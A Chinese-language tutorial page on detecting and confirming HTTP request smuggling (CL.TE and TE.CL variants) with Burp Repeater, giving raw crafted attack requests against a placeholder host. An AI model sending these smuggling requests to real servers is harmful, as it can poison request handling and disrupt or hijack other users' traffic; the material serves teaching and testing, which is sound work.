HTTP请求走私

HTTP请求走私

要使用 Burp Repeater 发送此请求,首先需要进入 Repeater 菜单并确保未选中“Update Content-Length”选项。

使用计时技术查找 CL.TE 漏洞

如果应用程序容易受到请求走私的 CL.TE 变体的攻击,
那么发送如下请求通常会导致时间延迟:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

由于前端服务器使用 Content-Length标头,它将仅转发此请求的一部分,省略 X. 后端服务器使用 Transfer-Encodingheader,处理第一个块,然后等待下一个块到达。 这将导致可观察到的时间延迟。

使用计时技术查找 TE.CL 漏洞

如果应用程序容易受到请求走私的 TE.CL 变体的攻击,
那么发送如下请求通常会导致时间延迟:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6

0

X

由于前端服务器使用 Transfer-Encoding标头,它将仅转发此请求的一部分,省略 X. 后端服务器使用 Content-Lengthheader,期望消息正文中有更多内容,并等待剩余内容到达。 这将导致可观察到的时间延迟。

确认 CL.TE 漏洞

可以发送如下攻击请求:
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked

e
q=smuggling&x=
0

GET /404 HTTP/1.1
Foo: x

如果攻击成功,则后端服务器将此请求的最后两行视为属于接收到的下一个请求。 这将导致随后的“正常”请求如下所示:

GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

由于这个请求现在包含一个无效的 URL,服务器将响应状态码 404,表明攻击请求确实干扰了它。

确认 TE.CL 漏洞

可以发送如下攻击请求:
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0
上一篇:b_lc_长度为 3 的不同回文子序列(统计两个相同字符中间有多少个不同字符)


下一篇:Redis配置文件详解